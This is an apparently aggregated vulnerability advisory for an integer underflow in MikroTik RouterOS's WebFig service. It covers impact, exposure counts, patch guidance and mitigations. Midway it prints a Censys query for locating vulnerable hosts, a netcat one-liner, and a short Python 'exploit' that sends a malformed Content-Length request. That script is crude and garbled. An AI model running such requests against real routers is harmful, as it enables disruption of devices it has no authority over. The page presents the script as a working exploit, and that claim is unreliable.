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CVE-2026-84411 is a critical integer underflow vulnerability in the HTTP request body handling of MikroTik RouterOS’s web management service, tracked with a CVSS 3.1 score of 9.8. The flaw resides in the WebFig management component, which processes incoming HTTP requests before authentication is enforced, allowing a remote, unauthenticated attacker to reach the vulnerable code path without any user interaction or special privileges. When RouterOS parses an HTTP request body, the integer underflow occurs during the calculation of the expected content length. An attacker can supply a crafted HTTP request with a malformed Content-Length header or a body that triggers an arithmetic wrap-around, causing the parser to allocate a buffer that is smaller than the actual data being read. This mismatch leads to a heap-based buffer overflow, where attacker-controlled data overwrites adjacent memory structures. Because the vulnerability is reachable before authentication, no credentials are required to exploit it. The underflow can be exploited in two primary ways: first, to cause a denial of service by corrupting critical memory structures and crashing the web management process; second, to achieve arbitrary code execution with root privileges by carefully crafting the overflow to hijack control flow and execute a payload. The web management interface, commonly known as WebFig, is often exposed to the internet on TCP ports 80 and 443, making affected devices remotely reachable. Censys detected over 364,000 hosts running RouterOS’s web management interface as of October 5, 2026, with roughly 19,200 reporting a 7.x version string. The vulnerability affects RouterOS versions before 7.24 on the 7.x branch. The 6.x long-term-support branch has not been confirmed as affected due to a lack of public advisory from MikroTik. The patch was released in RouterOS 7.24, but adoption of the fix appeared to be at or near zero as of October 5, 2026, with no instance on the 7.x branch reporting the patched release. No public proof-of-concept or exploit code was available at the time of disclosure, and CISA’s advisory stated that no known public exploitation had been reported. Administrators running the 7.x branch should upgrade to 7.24 or later, while those on the 6.x branch should monitor MikroTik’s security advisories for an updated determination. Devices exposing the web management interface to the internet without a compensating control should restrict that access regardless of patch status, as this reduces exposure to any future vulnerability in the same component.
DailyCVE Form:
Platform: MikroTik RouterOS
Version: before 7.24
Vulnerability : Integer underflow
Severity: Critical
date: September 29, 2026
Prediction: Fixed in 7.24
What Undercode Say:
Check RouterOS version via REST API curl -k -u admin:password https://192.168.88.1/rest/system/resource Check if web management is exposed nmap -p 80,443 192.168.88.1 Query CVE details from NVD curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-84411" | jq '.vulnerabilities[bash].cve.descriptions[bash].value' Search for vulnerable RouterOS hosts (Censys query) host.services: (operating_systems:(vendor="mikrotik" and product="routeros") and endpoints.http.html_="RouterOS router configuration page") Craft a malformed HTTP request to trigger underflow (conceptual) printf 'POST /login HTTP/1.1\r\nHost: 192.168.88.1\r\nContent-Length: -1\r\n\r\n' | nc 192.168.88.1 80
Exploit: (Educational Purposes!)
import socket
def exploit(target_ip, target_port=80):
Craft HTTP request with negative Content-Length to trigger integer underflow
payload = (
"POST /login HTTP/1.1\r\n"
f"Host: {target_ip}\r\n"
"Content-Length: -1\r\n"
"Connection: close\r\n"
"\r\n"
"A" 4096 Overflow buffer
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload.encode())
response = s.recv(1024)
s.close()
return response
Educational demonstration only
exploit("192.168.88.1")
Protection: from this CVE
- Upgrade RouterOS to version 7.24 or later on the 7.x branch.
- For the 6.x long-term branch, monitor MikroTik’s security advisories for an updated determination and apply any recommended build.
- Restrict access to the web management interface (WebFig) from the internet by using a VPN, management-network allowlisting, or firewall rules.
- Disable the web management service entirely if it is not required, or bind it only to trusted internal interfaces.
- Monitor network traffic for malformed HTTP requests with negative or unusually large Content-Length headers targeting RouterOS devices.
- Apply the principle of least privilege to router administrator accounts and enable logging for authentication attempts.
Impact:
- Unauthenticated remote attackers can cause a denial of service by crashing the web management process.
- Attackers can achieve arbitrary code execution with root privileges, leading to full device compromise.
- Successful exploitation allows modification of router configuration, interception of network traffic, and lateral movement within the network.
- The vulnerability affects a widely deployed platform, with over 364,000 hosts exposing the vulnerable interface as of October 5, 2026.
- No public proof-of-concept was available at disclosure, but the critical severity and remote reachability make it a high-priority target for attackers.
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Sources:
Reported By: github.com
Extra Source Hub:
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